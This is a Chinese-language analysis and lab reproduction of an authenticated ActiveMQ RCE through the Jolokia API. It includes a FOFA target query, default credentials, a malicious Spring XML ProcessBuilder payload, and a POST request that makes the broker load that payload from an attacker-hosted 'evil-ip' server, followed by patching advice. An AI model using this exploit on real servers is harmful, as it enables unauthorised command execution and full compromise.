Apache ActiveMQ CVE-2026-34197：认证后RCE漏洞分析与复现详解

Apache ActiveMQ 存在一个基于 Jolokia API 的高危远程代码执行漏洞，编号为 CVE-2026-34197。攻击者能够构造恶意请求调用 Jolokia 接口中的特定管理操作，诱导 ActiveMQ 服务端主动拉取并解析远程的恶意 Spring XML 配置文件，从而在目标服务器上执行任意命令，最终完全控制服务器。值得注意的是，ActiveMQ 6.0.0 至 6.1.1 版本因同时存在未授权访问漏洞 CVE-2024-32114，攻击者无需凭证即可实现未认证 RCE；而对于其他受影响版本，攻击者则需要先获取有效的账号密码等认证凭据才能完成利用。

影响版本

• Apache ActiveMQ Broker (activemq-broker) 5.x < 5.19.4
• Apache ActiveMQ Broker (activemq-broker) 6.0.0 <= 版本 < 6.2.3

资产发现

我们可以使用 app="APACHE-ActiveMQ" 这一语法在 FOFA 等网络空间测绘引擎中进行搜索，以快速定位在网的潜在目标。

漏洞复现

我们使用 Vulhub 中的 CVE-2026-34197 靶场环境进行复现演示。这个漏洞涉及到对 中间件 管理接口的滥用。

启动靶场后，访问 ActiveMQ 的 Web 控制台。默认地址和凭证如下：

http://your-ip:8161
admin:admin

成功登录后，会看到 Apache ActiveMQ 的欢迎页面。

与存在未授权访问的 ActiveMQ 6.1.1 (CVE-2024-32114) 环境不同，ActiveMQ 6.2.2 要求对 Jolokia API 进行身份验证。如果发送未经认证的请求，将会收到 401 Unauthorized 响应。

由于 CVE-2026-34197 是一个认证后的 RCE 漏洞，攻击者可以使用默认凭证 admin:admin 进行攻击。

第一步：准备恶意配置文件
首先，在攻击者控制的机器上启动一个 HTTP 服务器，用于托管一个恶意的 Spring XML 配置文件。以下配置示例会让目标服务器执行命令 id > /tmp/success。

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[id /tmp/success]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

将上述内容保存为 poc.xml 文件，并在同一目录下启动一个 Python HTTP 服务器（端口 80）。

python -m http.server 80

第二步：构造并发送攻击请求
接着，向目标 ActiveMQ 的 Jolokia API 发送一个经过认证的 POST 请求。请求体用于在 Broker MBean 上调用 addNetworkConnector 操作，并传入一个精心构造的发现 URI。这个 URI 会指示 ActiveMQ 通过 Spring 的资源加载机制去获取攻击者服务器上的恶意 XML 文件。

请将 your-ip 替换为目标 ActiveMQ 服务器的地址，将 evil-ip 替换为攻击者 HTTP 服务器的地址。

POST /api/jolokia/ HTTP/1.1
Host: your-ip:8161
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 225

{
  "type": "exec",
  "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": ["static:(vm://evil?brokerConfig=xbean:http://evil-ip/poc.xml)"]
}

漏洞原理简析
当 ActiveMQ 处理这个网络连接器请求时，它会尝试建立连接。由于 vm://evil 这个代理并不存在，ActiveMQ 会根据参数创建一个新的代理实例。brokerConfig=xbean: 这个前缀告诉 ActiveMQ 使用 Spring 框架的 ResourceXmlApplicationContext 来加载配置，而 Spring 支持通过 HTTP URL 加载远程的 XML 配置文件。

Spring 会解析我们远程服务器上的 poc.xml 文件，并实例化其中定义的所有 Bean。这包括我们构造的恶意 ProcessBuilder Bean，其 init-method="start" 属性会在 Bean 初始化时自动调用 start() 方法，从而执行我们预设的 bash -c id /tmp/success 命令。

第三步：验证命令执行
最后，通过检查容器内的结果文件来验证命令是否成功执行。

docker compose exec activemq cat /tmp/success

修复与防护建议

1. 升级版本：建议用户立即将 Apache ActiveMQ 升级至官方发布的最新安全版本（5.19.4 或 6.2.3 及以上），这是最根本的解决方案。
2. 加固访问控制：完善 Jolokia 等管理接口的身份认证与权限校验体系，实施严格的权限最小化原则。对于生产环境，应考虑禁用不必要的远程管理功能或将其置于严格的网络访问控制之后。
3. 部署防护规则：在 WAF、IDS/IPS 等 安全 设备中部署针对该漏洞攻击特征的检测与阻断规则，及时识别并拦截可疑的探测与攻击流量。
4. 常态化审计：定期进行 运维 安全审计，检查中间件配置、日志中是否存在异常的管理操作或未授权的访问尝试。

此漏洞的复现环境与详细分析可参考 Vulhub 官方仓库：https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2026-34197。对于企业而言，建立完善的漏洞应急响应机制和持续的安全学习体系至关重要，开发者社区如 云栈社区 等技术论坛是获取此类实战经验和交流防护方案的良好平台。